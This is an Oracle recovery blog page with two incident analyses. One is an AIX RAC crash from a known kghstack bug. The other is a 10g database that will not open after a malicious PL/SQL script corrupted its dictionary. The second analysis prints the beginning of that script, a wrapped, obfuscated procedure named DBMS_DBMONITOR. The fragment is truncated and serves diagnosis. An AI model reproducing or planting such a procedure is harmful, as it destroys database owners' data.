标签云
asm恢复 bbed bootstrap$ dul In Memory kcbzib_kcrsds_1 kccpb_sanity_check_2 kfed MySQL恢复 ORA-00312 ORA-00607 ORA-00704 ORA-01110 ORA-01555 ORA-01578 ORA-08103 ORA-600 2131 ORA-600 2662 ORA-600 2663 ORA-600 3020 ORA-600 4000 ORA-600 4137 ORA-600 4193 ORA-600 4194 ORA-600 16703 ORA-600 kcbzib_kcrsds_1 ORA-600 KCLCHKBLK_4 ORA-15042 ORA-15196 ORACLE 12C oracle dul ORACLE PATCH Oracle Recovery Tools oracle加密恢复 oracle勒索 oracle勒索恢复 oracle异常恢复 Oracle 恢复 ORACLE恢复 ORACLE数据库恢复 oracle 比特币 OSD-04016 YOUR FILES ARE ENCRYPTED 勒索恢复 比特币加密文章分类
- Others (2)
- 中间件 (2)
- WebLogic (2)
- 操作系统 (102)
- 数据库 (1,679)
- DB2 (22)
- MySQL (73)
- Oracle (1,541)
- Data Guard (52)
- EXADATA (8)
- GoldenGate (24)
- ORA-xxxxx (159)
- ORACLE 12C (72)
- ORACLE 18C (6)
- ORACLE 19C (14)
- ORACLE 21C (3)
- Oracle 23ai (7)
- Oracle ASM (67)
- Oracle Bug (8)
- Oracle RAC (52)
- Oracle 安全 (6)
- Oracle 开发 (28)
- Oracle 监听 (28)
- Oracle备份恢复 (563)
- Oracle安装升级 (92)
- Oracle性能优化 (62)
- 专题索引 (5)
- 勒索恢复 (79)
- PostgreSQL (18)
- PostgreSQL恢复 (6)
- SQL Server (27)
- SQL Server恢复 (8)
- TimesTen (7)
- 达梦数据库 (2)
- 生活娱乐 (2)
- 至理名言 (11)
- 虚拟化 (2)
- VMware (2)
- 软件开发 (37)
- Asp.Net (9)
- JavaScript (12)
- PHP (2)
- 小工具 (20)
-
最近发表
- 解决oracle数据文件路径有回车故障
- .wstop扩展名勒索数据库恢复
- Oracle Recovery Tools工具一键解决ORA-00376 ORA-01110故障(文件offline)
- OGG-02771 Input trail file format RELEASE 19.1 is different from previous trail file form at RELEASE 11.2.
- OGG-02246 Source redo compatibility level 19.0.0 requires trail FORMAT 12.2 or higher
- GoldenGate 19安装和打patch
- dd破坏asm磁盘头恢复
- 删除asmlib磁盘导致磁盘组故障恢复
- Kylin Linux 安装19c
- ORA-600 krse_arc_complete.4
- Oracle 19c 202410补丁(RUs+OJVM)
- ntfs MFT损坏(ntfs文件系统故障)导致oracle异常恢复
- .mkp扩展名oracle数据文件加密恢复
- 清空redo,导致ORA-27048: skgfifi: file header information is invalid
- A_H_README_TO_RECOVER勒索恢复
- 通过alert日志分析客户自行对一个数据库恢复的来龙去脉和点评
- ORA-12514: TNS: 监听进程不能解析在连接描述符中给出的SERVICE_NAME
- ORA-01092 ORA-00604 ORA-01558故障处理
- ORA-65088: database open should be retried
- Oracle 19c异常恢复—ORA-01209/ORA-65088
标签归档:kghstack_underflow_internal_2
ORA-600 kghstack_underflow_internal_2
aix平台运行11.2.0.4 rac,突然一个节点crash,lms2进程报ORA-600 kghstack_underflow_internal_2错误
Thu Aug 03 18:43:16 2023 Errors in file /u01/oracle/app/oracle/diag/rdbms/xff/xff2/trace/xff2_lms2_2884404.trc (incident=761244): ORA-00600: internal error code, arguments: [kghstack_underflow_internal_2], [0x11074D658], [], [], [], [], [], [], [], [], [], [] Incident details in: /u01/oracle/app/oracle/diag/rdbms/xff/xff2/incident/incdir_761244/xff2_lms2_2884404_i761244.trc Errors in file /u01/oracle/app/oracle/diag/rdbms/xff/xff2/trace/xff2_lms2_2884404.trc (incident=761245): ORA-00600: internal error code, arguments: [kghstack_underflow_internal_2], [0x11AB5BBF0], [], [], [], [], [], [], [], [], [], [] ORA-00600: internal error code, arguments: [kghstack_underflow_internal_2], [0x11074D658], [], [], [], [], [], [], [], [], [], [] Incident details in: /u01/oracle/app/oracle/diag/rdbms/xff/xff2/incident/incdir_761245/xff2_lms2_2884404_i761245.trc Thu Aug 03 18:43:19 2023 Dumping diagnostic data in directory=[cdmp_20230803184319], requested by (instance=2, osid=2884404 (LMS2)), summary=[incident=761245]. Use ADRCI or Support Workbench to package the incident. See Note 411.1 at My Oracle Support for error and packaging details. Thu Aug 03 18:43:23 2023 Sweep [inc][761245]: completed Use ADRCI or Support Workbench to package the incident. See Note 411.1 at My Oracle Support for error and packaging details. Errors in file /u01/oracle/app/oracle/diag/rdbms/xff/xff2/trace/xff2_lms2_2884404.trc: ORA-00600: internal error code, arguments: [kghstack_underflow_internal_2], [0x11074D658], [], [], [], [], [], [], [], [], [], [] Sweep [inc][761244]: completed Sweep [inc2][761245]: completed Sweep [inc2][761244]: completed Thu Aug 03 18:43:29 2023 Errors in file /u01/oracle/app/oracle/diag/rdbms/xff/xff2/trace/xff2_lms2_2884404.trc: ORA-00600: internal error code, arguments: [kghstack_underflow_internal_2], [0x11074D658], [], [], [], [], [], [], [], [], [], [] LMS2 (ospid: 2884404): terminating the instance due to error 484
分析trace文件中的Call Stack Trace信息
----- Call Stack Trace ----- calling call entry argument values in hex location type point (? means dubious value) -------------------- -------- -------------------- ---------------------------- skdstdst()+40 bl 0000000109B3EE38 000000000 ? 000000001 ? 000000003 ? 000000000 ? 000000000 ? 000000001 ? 000000003 ? 000000000 ? ksedst1()+112 call skdstdst() 1777D9901C4FD34D ? 4840284100000000 ? FFFFFFFFFFECE20 ? 2A501377F67A7 ? 10A742204 ? 000000000 ? 1107486C0 ? 2050033FFFECE28 ? ksedst()+40 call ksedst1() FFFFFFFFFFFE0002 ? 0000060F1 ? 000000001 ? 10A46AD18 ? 000000000 ? 000000000 ? 000002004 ? 000000001 ? dbkedDefDump()+1516 call ksedst() 000000000 ? 000000000 ? 000000000 ? 000000000 ? 000000000 ? 000000000 ? 000000000 ? 300000003 ? ksedmp()+72 call dbkedDefDump() 3107486C0 ? 110000A28 ? FFFFFFFFFFED630 ? 1106ABC70 ? 100125778 ? FFFFFFFFFFED5B0 ? FFFFFFFFFFEDA30 ? 1106ABC70 ? ksfdmp()+100 call ksedmp() 000000002 ? 000000000 ? 000000002 ? 10AF71A68 ? 10A0720F8 ? 000000000 ? 1108EC608 ? 1107486C0 ? dbgexPhaseII()+1904 call ksfdmp() FFFFFFFFFFFE0002 ? 0000060F1 ? 000000002 ? 000000000 ? 000000002 ? 10A0720F0 ? 000000000 ? 001050005 ? dbgexProcessError() call dbgexPhaseII() 1107486C0 ? 1108EFB28 ? +1556 0000B9D9D ? 200000000 ? FFFFFFFFFFEE548 ? 000000104 ? FFFFFFFFFFEDBB0 ? FB400000000 ? dbgeExecuteForError call dbgexProcessError() 1107486C0 ? 1108EC608 ? ()+72 100000000 ? 000000000 ? FFFFFFFFFFF29E0 ? 2840288000000012 ? 10013DA4C ? 1108EE350 ? dbgePostErrorKGE()+ call dbgeExecuteForError 000000002 ? 000000128 ? 2044 () FFFFFFFFFFFE0002 ? 215265335E5162 ? 3726000000000001 ? 10A46AD18 ? 10A46CB00 ? FFFFFFFFFFF1D30 ? dbkePostKGE_kgsf()+ call dbgePostErrorKGE() 000000001 ? 10A46AD18 ? 68 25800000000 ? 109E7A740 ? 000000000 ? 000000038 ? FFFFFFFFFFF2800 ? 11AB1AC50 ? kgeadse()+380 call dbkePostKGE_kgsf() 900000000512C74 ? 9001000A008DAD0 ? 000000000 ? 9001000A008DAD0 ? 8000000FFFF2C40 ? 7000147E8F28C98 ? 400000008 ? 1100054A0 ? kgerinv_internal()+ call kgeadse() 7FFFFFFFFFFFFFFF ? 48 FFFFFFFFFFFEF8FF ? 000000019 ? 110476528 ? 000000001 ? 000000017 ? 00000000B ? 000000000 ? kgerinv()+48 call kgerinv_internal() FFFFFFFFFFFEF8FF ? FFFFFFFFFFFFFFFF ? FFFFFFFFFFFFFFFF ? 7FFFFFFFFFFFFFFF ? 1001648E0 ? FFFFFFFFFFF25E0 ? 1106ABC70 ? 11073B3C0 ? kgeasnmierr()+72 call kgerinv() 000000000 ? 215265335E5162 ? 372600383A0F5000 ? 000000004 ? 10A328F7C ? FFFFFFFFFFF2898 ? 000000002 ? 0FFFFFFFF ? kghstack_underflow_ call kgeasnmierr() 11AB967A0 ? 000000000 ? internal()+280 FFFFFFFFFFF2860 ? 100000001 ? 000000002 ? 11AB5BBF0 ? 000000000 ? 11AB96778 ? kghstack_free()+716 call kghstack_underflow_ 10A328F7C ? 110A2FEC0 ? internal() 000000004 ? 000000000 ? 000000000 ? 000000000 ? 000000080 ? 80000000000000 ? ktudda()+912 call kghstack_free() 11AB5BBF0 ? 7215265335E5162 ? 3726000000000008 ? 000000102 ? 109E747E0 ? FFFFFFFFFFF2A90 ? 000000048 ? 28408880FFFFFFFF ? kcbtdu()+1636 call ktudda() 70001383A0F4014 ? 000000000 ? 1FE800000000 ? 07F7F7F7F ? FFFFFFFF80808080 ? 000000000 ? 000000030 ? FFFFFFFFFFF2B30 ? kcbzdh()+3200 call kcbtdu() 35900000359 ? 100000001 ? 000000001 ? 200000001 ? 000000001 ? 00000005D ? 200066665D20 ? 000000000 ? kcbzpnd()+504 call kcbzdh() 70001383F6D64B8 ? 000002004 ? 2107486C0 ? 10A74269E ? 1107486C0 ? FFFFFFFFFFF3B30 ? FFFFFFFFFFF38E0 ? 000000000 ? kcbdnb()+724 call kcbzpnd() 10A74267C ? 000000000 ? 000000000 ? 000000000 ? 000000000 ? 0001CE860 ? 000000000 ? 000000000 ? dbkedDefDump()+5528 call kcbdnb() 200000000 ? 000000000 ? 000000000 ? 000000000 ? 1100224D0 ? 000000018 ? 110001366 ? 000000000 ? ksedmp()+72 call dbkedDefDump() 3107486C0 ? 110000A28 ? FFFFFFFFFFF3FC0 ? 1106ABC70 ? 100125778 ? 000000000 ? FFFFFFFFFFF3FB0 ? 1106ABC70 ? ksfdmp()+100 call ksedmp() 000000002 ? 000000000 ? 000000002 ? 10AF71A68 ? 10A0720F8 ? 000000000 ? 1109DE650 ? 1107486C0 ? dbgexPhaseII()+1904 call ksfdmp() 11074B65C ? 000000001 ? 000000002 ? 000000000 ? 000000002 ? 10A0720F0 ? 000000000 ? 001050005 ? dbgexProcessError() call dbgexPhaseII() 1107486C0 ? 1109DC860 ? +1556 0000B9D9C ? 200000000 ? FFFFFFFFFFF4ED8 ? 000000082 ? FFFFFFFFFFF4560 ? 88A4422A00000000 ? dbgeExecuteForError call dbgexProcessError() 1107486C0 ? 1109DE650 ? ()+72 100000000 ? 000000000 ? 000000000 ? 000000000 ? 0DFFFFFFF ? 1109E0398 ? dbgePostErrorKGE()+ call dbgeExecuteForError 00000000A ? 000000000 ? 2044 () 000000001 ? 000000001 ? 000000000 ? 000000000 ? FFFFFFFFFFFB4E0 ? 000000000 ? dbkePostKGE_kgsf()+ call dbgePostErrorKGE() 000000000 ? FFFFFFFFFFF96B0 ? 68 2580000000A ? 109E7A740 ? 000000000 ? 000000000 ? FFFFFFFFFFF9190 ? 11AB1AC50 ? kgeadse()+380 call dbkePostKGE_kgsf() 000000001 ? 000000008 ? 000000000 ? 10A30EA38 ? 110000C20 ? 700014771160D68 ? 700014772ADB3A8 ? 000000001 ? kgerinv_internal()+ call kgeadse() 000000003 ? 000000000 ? 48 11074B65C ? 000000001 ? 000000000 ? FFFFFFFFFFF96B0 ? 00000000A ? 000000001 ? kgerinv()+48 call kgerinv_internal() 000000000 ? 000000000 ? 000000000 ? 000000000 ? 000000000 ? 000000000 ? 000000000 ? 000000000 ? kgeasnmierr()+72 call kgerinv() 000000000 ? 000000000 ? 000000000 ? 000000000 ? FFFFFFFFFFF92B0 ? 48102840FFFFA5B0 ? 11AB5BBB8 ? 11074D658 ? kghstack_underflow_ call kgeasnmierr() 022028200 ? 022202820 ? internal()+280 11AB5BBB8 ? 100000001 ? 000000002 ? 11074D658 ? 0442C2394 ? 000002000 ? kghstack_free()+716 call kghstack_underflow_ FFFFFFFFFFF92B0 ? internal() FFFFFFFFFFF95B8 ? FFFFFFFFFFF92B0 ? 000000001 ? FFFFFFFFFFF92B0 ? FFFFFFFFFFF95E8 ? FFFFFFFFFFF95B8 ? 11074B650 ? ktundo()+924 call kghstack_free() 0DEADBEEF ? 11074D668 ? 11074B654 ? 300000000 ? 1FFFFB4E0 ? FFFFFFFFFFFB4E0 ? FFFFFFFFFFF94C0 ? FFFFFFFFFFF9470 ? kturCRBackoutOneChg call ktundo() 19FFFFB5E0 ? ()+848 494CEDB3FFFF9E50 ? FFFFFFFFFFF9E48 ? 000000000 ? 000000000 ? FFFFFFFFFFFA5B0 ? 100000000 ? FFFFFFFFFFFB4E0 ? ktrgcm()+5816 call kturCRBackoutOneChg FFFFFFFFFFFA5B0 ? () 19FFFFA440 ? FFFFFFFFFFFA5B8 ? 000000000 ? 1FFFFA478 ? FFFFFFFFFFFB4E0 ? 000000000 ? 000000000 ? ktrget3()+832 call ktrgcm() FFFFFFFFFFFAC80 ? 000000000 ? 000000000 ? 000000003 ? 058F7501F ? 000000001 ? 000000004 ? 000000003 ? ktrget2()+104 call ktrget3() 000000002 ? 700000000014488 ? 7000147E9C41A50 ? 000000022 ? 110A123A0 ? 000000000 ? FFFFFFFFFFFB080 ? 110A123B8 ? kclgeneratecr()+654 call ktrget2() FFFFFFFFFFFB4D0 ? 110AA1610 ? 0 14F11E4E00 ? 0F11E4E00 ? 357FED028 ? 000030000 ? 7000147E9C41A50 ? 700000000014488 ? kclgcr()+812 call kclgeneratecr() 11A209508 ? FFFFFFFFFFFBFC0 ? FFFFFFFFFFFBC18 ? 000000000 ? 0FFFFBB10 ? 01A275AC8 ? 1761D7F302ED25AC ? 20000011A275AC8 ? kclcrrf()+536 call kclgcr() FFFFFFFFFFFBC20 ? FFFFFFFFFFFBD00 ? 101F5080C ? 000000000 ? 0000003E8 ? 000000028 ? 0000000C8 ? FFFFFFFFFFFBF88 ? kjblcrcbk()+896 call kclcrrf() 000000001 ? 000000000 ? 7000147EB0F07B8 ? 7000147576C4471 ? 401472C30C7F0 ? 7000147576C4408 ? 7000147576C3190 ? 7000147576C7170 ? kjblpcr()+304 call kjblcrcbk() FFFFFFFFFFFBDA8 ? 000000038 ? 7000147FABBDB48 ? 600000006 ? 000000016 ? 11A209468 ? 000000013 ? 0001C2153 ? kjbmpbast()+1792 call kjblpcr() 000000012 ? 000000168 ? 000000002 ? 70001109FDB8148 ? 357000000000357 ? 7000144F31F7750 ? 895000000000895 ? 000000000 ? kjmxmpm()+760 call kjbmpbast() 1000000000000 ? 80000001E ? 000000000 ? 11A2951C8 ? C000000000 ? 000000000 ? 1000000000000 ? 000000000 ? kjmpbmsg()+3508 call kjmxmpm() 000000000 ? 11A3769E0 ? FFFFFFFFFFFC380 ? 06DBFBAEF ? 101E13820 ? 11A3769E0 ? 7000147E339AE08 ? FFFFFFFFFFFC210 ? kjmsm()+13416 call kjmpbmsg() 11A209448 ? 7000147E339AE08 ? 100000019 ? 100000000 ? 000000000 ? 000000000 ? 000000000 ? 7000000000168FD ? ksbrdp()+2216 call kjmsm() 7000000000168E0 ? 7000000000168FC ? 048244028 ? 000000E00 ? 1108B69F0 ? 100637768 ? 000000001 ? 700000007 ? opirip()+1620 call ksbrdp() FFFFFFFFFFFFE22 ? 10AFA5FC8 ? FFFFFFFFFFFDC10 ? 000000000 ? 000000001 ? 000000000 ? 01380038F ? 000000001 ? opidrv()+608 call opirip() 10AFA23B0 ? 410134118 ? FFFFFFFFFFFED80 ? 2F7530312F ? 108A7E8C4 ? 1106ABC70 ? 652F70726F647563 ? 1106ABC70 ? sou2o()+136 call opidrv() 3208A885B0 ? 400000000 ? FFFFFFFFFFFED80 ? 23001801CD0000 ? 000000010 ? 1106ABC70 ? 000000000 ? 000000000 ? opimai_real()+188 call sou2o() FFFFFFFFFFFEDF0 ? 4424444B00000001 ? 9000000000D73CC ? BADC0FFEE0DDF00D ? 000000003 ? 9001000A008DAD0 ? A0000000A000000 ? 10B6A8F30 ? ssthrdmain()+276 call opimai_real() 9001000A0011A60 ? FFFFFFFFFFFF148 ? FFFFFFFFFFFEEF0 ? 10B6E9280 ? 90000000008582C ? 9001000A008DAD0 ? FFFFFFFFFFFEED0 ? 9001000A008DAD0 ? main()+204 call ssthrdmain() 3F0003660 ? FFFFFFFFFFFF238 ? FFFFFFFFFFFF2A0 ? 9FFFFFFF000D658 ? 9FFFFFFF00009A0 ? 000000000 ? 000000000 ? 9FFFFFFF000D658 ? __start()+112 call main() 000000000 ? 000000000 ? 000000000 ? 000000000 ? 000000000 ? 000000000 ? 000000000 ? 000000000 ? --------------------- Binary Stack Dump ---------------------
查询mos对比相关信息,参考: LMON or LMS Process Crashes Instance With ORA-600 [kghstack_underflow_internal_2] (Doc ID 2003278.1)信息
The LMON or LMS process crash the instance with an error like: ORA-00600: internal error code, arguments: [kghstack_underflow_internal_2], [0x110A10838], [], [], [], [], [], [], [], [], [], [] ORA-1092 : opitsk aborting process Instance terminated by LMS1, pid = 14024818 Review of the generated tracefiles reveals a call stack similar to: ... kghstack_underflow_internal kghstack_free kccgrd kjxgrf_rr_read kjxgrDD_rr_read kjxgrimember kjxggpoll kjfmact kjfdact kjfcln ksbrdp ... - OR - ... kghstack_underflow_internal kghstack_free ktundo kturcrbackoutonechg ktrgcm ktrget3 ktrget2 kclgcr ...
确认为Bug 18687067 – ORA-600 [KGHSTACK_UNDERFLOW_INTERNAL_2] closed as duplicate of Bug 20675347 – ORA-07445 [KGHSTACK_OVERFLOW_INTERNAL()+644](The bug is caused by an AIX compiler issue causing volatile variables in the Oracle kernel not to be handled properly.),解决方案升级数据库到12.1及其以上版本或者打上patch 20675347
10g数据库遭遇ORA-600 16703
ORA-600 16703
有客户反馈10g数据库启动报ORA-00704 ORA-00600,具体如下
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - 64bi PL/SQL Release 10.2.0.3.0 - Production CORE 10.2.0.3.0 Production TNS for IBM/AIX RISC System/6000: Version 10.2.0.3.0 - Productio NLSRTL Version 10.2.0.3.0 - Production
Fri Jan 4 10:11:05 2019 MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set Fri Jan 4 10:11:05 2019 SMON: enabling cache recovery Fri Jan 4 10:11:05 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_1826952.trc: ORA-00600: internal error code, arguments: [16703], [1403], [28], [], [], [], [], [] Fri Jan 4 10:11:06 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_1826952.trc: ORA-00704: bootstrap process failure ORA-00704: bootstrap process failure ORA-00600: internal error code, arguments: [16703], [1403], [28], [], [], [], [], [] Fri Jan 4 10:11:06 2019 Error 704 happened during db open, shutting down database USER: terminating instance due to error 704 Instance terminated by USER, pid = 1826952 ORA-1092 signalled during: alter database open...
看到这个错误第一想到以前的ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [], [], [], [], [], [], [],但是有几个地方不同:1)根据以往恢复经验这个错误都出现在11.2.0.4版本数据库中;2)以往的ORA-600 16703错误最后值是20,而这次是28
分析数据库故障过程
节点一因为其他错误重启,重启之后报大量错误,然后abort掉.
--节点1 Fri Jan 4 06:11:00 2019 Database Characterset is ZHS16GBK replication_dependency_tracking turned off (no async multimaster replication found) Starting background process QMNC QMNC started with pid=29, OS id=2883786 Fri Jan 4 06:11:07 2019 SMON: Parallel transaction recovery tried Fri Jan 4 06:11:07 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_2769106.trc: ORA-00600: internal error code, arguments: [16607], [0x70000020E4E7258], [257], [0], [], [], [], [] Fri Jan 4 06:11:09 2019 ORA-600 signalled during: ALTER DATABASE OPEN... Fri Jan 4 06:11:09 2019 Trace dumping is performing id=[cdmp_20190104061109] Fri Jan 4 06:11:30 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_2240550.trc: ORA-00604: error occurred at recursive SQL level 1 ORA-20001: the IP can not logon ORA-06512: at line 36 Fri Jan 4 06:12:35 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_2793508.trc: ORA-00600: internal error code, arguments: [16659], [kqldtu], [D], [0], [65], [], [], [] Fri Jan 4 06:12:40 2019 Trace dumping is performing id=[cdmp_20190104061240] Fri Jan 4 06:16:10 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_1933540.trc: ORA-00600: internal error code, arguments: [16607], [0x70000020D957260], [1793], [0], [], [], [], [] Fri Jan 4 06:16:10 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_2793546.trc: ORA-00600: internal error code, arguments: [16607], [0x70000020D957260], [1793], [0], [], [], [], [] Fri Jan 4 06:16:11 2019 Trace dumping is performing id=[cdmp_20190104061611] Fri Jan 4 06:16:15 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei1_smon_3055636.trc: ORA-00600: internal error code, arguments: [insSetColumnInfo_1], [8], [8], [], [], [], [], [] Fri Jan 4 06:16:16 2019 Non-fatal internal error happenned while SMON was doing logging scn->time mapping. SMON encountered 1 out of maximum 100 non-fatal internal errors. Fri Jan 4 06:17:28 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_2035774.trc: ORA-00600: internal error code, arguments: [16607], [0x70000020D957260], [1793], [0], [], [], [], [] ………… Fri Jan 4 06:56:47 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei1_smon_3055636.trc: ORA-00600: internal error code, arguments: [insSetColumnInfo_1], [8], [8], [], [], [], [], [] Fri Jan 4 06:56:49 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei1_ora_3072030.trc: ORA-07445: exception encountered: core dump [] [] [] [] [] [] ORA-06544: PL/SQL: internal error, arguments: [], [interpreter cannot interpret pcode], [], [], [], [], [], [] ORA-06544: PL/SQL: internal error, arguments: [], [interpreter cannot interpret pcode], [], [], [], [], [], [] Fri Jan 4 06:56:50 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei1_pmon_3092524.trc: ORA-00474: SMON process terminated with error Fri Jan 4 06:56:50 2019 PMON: terminating instance due to error 474 Fri Jan 4 06:56:50 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei1_lms0_3178590.trc: ORA-00474: SMON process terminated with error Fri Jan 4 06:56:50 2019 System state dump is made for local instance System State dumped to trace file /oracle/admin/xifenfei/bdump/xifenfei1_diag_434192.trc Fri Jan 4 06:56:51 2019 Shutting down instance (abort)
节点一重启触发故障之后,节点二也开始报错,然后数据库直接挂掉
--节点2 Fri Jan 4 06:21:19 2019 Trace dumping is performing id=[cdmp_20190104062118] Fri Jan 4 06:21:22 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_j000_1253440.trc: ORA-00600: internal error code, arguments: [kghGetHpSz1], [0x7000001DF886220], [], [], [], [], [], [] Fri Jan 4 06:21:24 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei2_ora_1835262.trc: ORA-00604: error occurred at recursive SQL level 1 ORA-20001: the IP can not logon ORA-06512: at line 36 Fri Jan 4 06:21:56 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_j002_1777888.trc: ORA-07445: exception encountered: core dump [] [] [] [] [] [] Fri Jan 4 06:24:38 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_j003_1589340.trc: ORA-00600: internal error code, arguments: [16659], [kqldtu], [D], [0], [97952], [], [], [] Fri Jan 4 06:24:44 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_j003_1589340.trc: ORA-12012: error on auto execute of job 351 ORA-12008: error in materialized view refresh path ORA-00600: internal error code, arguments: [16659], [kqldtu], [D], [0], [97952], [], [], [] Fri Jan 4 06:28:48 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_j001_1417456.trc: ORA-00600: internal error code, arguments: [kkzufst], [18446744073709551615], [], [], [], [], [], [] Fri Jan 4 06:28:49 2019 ORA-00600: internal error code, arguments: [kghstack_underflow_internal_2], [0x1104B2580], [], [], [], [], [], [] ORA-00600: internal error code, arguments: [insSetColumnInfo_1], [8], [8], [], [], [], [], [] Fri Jan 4 07:30:25 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_j002_2121800.trc: ORA-00600: internal error code, arguments: [17147], [0x7000001D291D230], [], [], [], [], [], [] ORA-00600: internal error code, arguments: [17147], [0x7000001D291D230], [], [], [], [], [], [] ORA-00600: internal error code, arguments: [kggfaAllocFunc1], [], [], [], [], [], [], [] ………… Fri Jan 4 07:31:23 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_pmon_634956.trc: ORA-00600: internal error code, arguments: [17147], [0x7000001D291D230], [], [], [], [], [], [] Fri Jan 4 07:31:24 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_pmon_634956.trc: ORA-00600: internal error code, arguments: [17147], [0x7000001D291D230], [], [], [], [], [], [] Fri Jan 4 07:31:24 2019 PMON: terminating instance due to error 472 Fri Jan 4 07:31:24 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_lms0_569432.trc: ORA-00472: PMON process terminated with error
两个节点再次启动报ORA-600 16703错误
Fri Jan 4 07:31:50 2019 MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set Fri Jan 4 07:31:50 2019 SMON: enabling cache recovery Fri Jan 4 07:31:50 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei2_ora_3813516.trc: ORA-00600: internal error code, arguments: [16703], [1403], [28], [], [], [], [], [] Fri Jan 4 07:31:52 2019 Errors in file /oracle/admin/xifenfei/udump/xifenfei2_ora_3813516.trc: ORA-00704: bootstrap process failure ORA-00704: bootstrap process failure ORA-00600: internal error code, arguments: [16703], [1403], [28], [], [], [], [], [] Fri Jan 4 07:31:52 2019 Error 704 happened during db open, shutting down database USER: terminating instance due to error 704 Fri Jan 4 07:31:52 2019 Errors in file /oracle/admin/xifenfei/bdump/xifenfei2_lms0_3780764.trc: ORA-00704: bootstrap process failure Instance terminated by USER, pid = 3813516 ORA-1092 signalled during: ALTER DATABASE OPEN...
分析故障原因
通过分析,确认该数据库被注入了恶意脚本,当发生重启之后导致数据库核心基表被破坏,从而使得数据库无法正常启动
procedure DBMS_DBMONITOR wrapped a000000 369 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd 7 15a 171 VKGnETw5GkgNlUvXadIYpQ2thwAwgzKur9zWZ47SR+pHN0bgoPvQ8ezdufYxFkzCmAQA8xT2 IQkFph+2IhlEBrPrXe14giDow/HzZI43FwLiMlynCYjnzQh3aXRSIVOalcwGAfUvgCip6Eng OWA8Vq49YJ38WCPZjq2P5Dc428Wa1ZOPMb+E7GPs8ZOWM7RWsQdMzx/pqFncbX/tLwp0NY5E Uu4E54MZ34yVtDQybwljVqp06KHqWN/ZwZJpvT+2gO4hRNX2UyE7laWCXzM2IR05BTGf2yoZ +E7eIn6kciinFmhcUiBuszxE0pykt+moWZuuDuj9ebUXmj+0Mx7A+eQc6tp7wLHRCHYb6p0D VtDc4f6